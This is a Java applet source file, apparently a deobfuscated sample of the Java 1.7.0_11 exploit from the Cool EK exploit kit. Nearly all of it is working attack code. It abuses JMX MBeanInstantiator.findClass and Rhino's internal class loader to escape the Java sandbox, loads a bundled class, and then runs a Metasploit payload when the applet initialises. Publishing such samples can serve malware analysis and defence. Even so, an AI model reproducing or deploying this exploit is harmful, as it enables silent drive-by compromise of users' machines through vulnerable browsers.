94 lines
3.0 KiB
Java
94 lines
3.0 KiB
Java
|
/*
|
||
|
|
* From Paunch with love (Java 1.7.0_11 Exploit)
|
||
|
|
*
|
||
|
|
* Deobfuscated from Cool EK by SecurityObscurity
|
||
|
|
*
|
||
|
|
* https://twitter.com/SecObscurity
|
||
|
|
*/
|
||
|
|
import java.applet.Applet;
|
||
|
|
import com.sun.jmx.mbeanserver.Introspector;
|
||
|
|
import com.sun.jmx.mbeanserver.JmxMBeanServer;
|
||
|
|
import com.sun.jmx.mbeanserver.MBeanInstantiator;
|
||
|
|
import java.lang.invoke.MethodHandle;
|
||
|
|
import java.lang.invoke.MethodHandles.Lookup;
|
||
|
|
import java.lang.invoke.MethodType;
|
||
|
|
import java.lang.reflect.InvocationTargetException;
|
||
|
|
import java.lang.reflect.Method;
|
||
|
|
import javax.management.ReflectionException;
|
||
|
|
import java.io.*;
|
||
|
|
import metasploit.Payload;
|
||
|
|
|
||
|
|
public class Exploit extends Applet
|
||
|
|
{
|
||
|
|
|
||
|
|
public void init()
|
||
|
|
{
|
||
|
|
|
||
|
|
try
|
||
|
|
{
|
||
|
|
int length;
|
||
|
|
byte[] buffer = new byte[5000];
|
||
|
|
ByteArrayOutputStream os = new ByteArrayOutputStream();
|
||
|
|
|
||
|
|
// read in the class file from the jar
|
||
|
|
InputStream is = getClass().getResourceAsStream("B.class");
|
||
|
|
|
||
|
|
// and write it out to the byte array stream
|
||
|
|
while( ( length = is.read( buffer ) ) > 0 )
|
||
|
|
os.write( buffer, 0, length );
|
||
|
|
|
||
|
|
// convert it to a simple byte array
|
||
|
|
buffer = os.toByteArray();
|
||
|
|
|
||
|
|
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
|
||
|
|
|
||
|
|
Method method = getMethod(class1, "enter", true);
|
||
|
|
Object obj = method.invoke(null, new Object[0]);
|
||
|
|
Method method1 = getMethod(class1, "createClassLoader", false);
|
||
|
|
Object obj1 = method1.invoke(obj, new Object[1]);
|
||
|
|
|
||
|
|
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
|
||
|
|
Method method2 = getMethod(class2, "defineClass", false);
|
||
|
|
|
||
|
|
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
|
||
|
|
my_class.newInstance();
|
||
|
|
|
||
|
|
Payload.main(null);
|
||
|
|
|
||
|
|
}
|
||
|
|
catch (Throwable localThrowable){}
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
private Method getMethod(Class class1, String s, boolean flag)
|
||
|
|
{
|
||
|
|
try {
|
||
|
|
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
|
||
|
|
Method[] amethod1 = amethod;
|
||
|
|
|
||
|
|
for (int i = 0; i < amethod1.length; i++) {
|
||
|
|
Method method = amethod1[i];
|
||
|
|
String s1 = method.getName();
|
||
|
|
Class[] aclass = method.getParameterTypes();
|
||
|
|
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
|
||
|
|
}
|
||
|
|
} catch (Exception localException) { }
|
||
|
|
|
||
|
|
return null;
|
||
|
|
}
|
||
|
|
|
||
|
|
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
|
||
|
|
{
|
||
|
|
Object obj = null;
|
||
|
|
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
|
||
|
|
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
|
||
|
|
|
||
|
|
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
|
||
|
|
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
|
||
|
|
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
|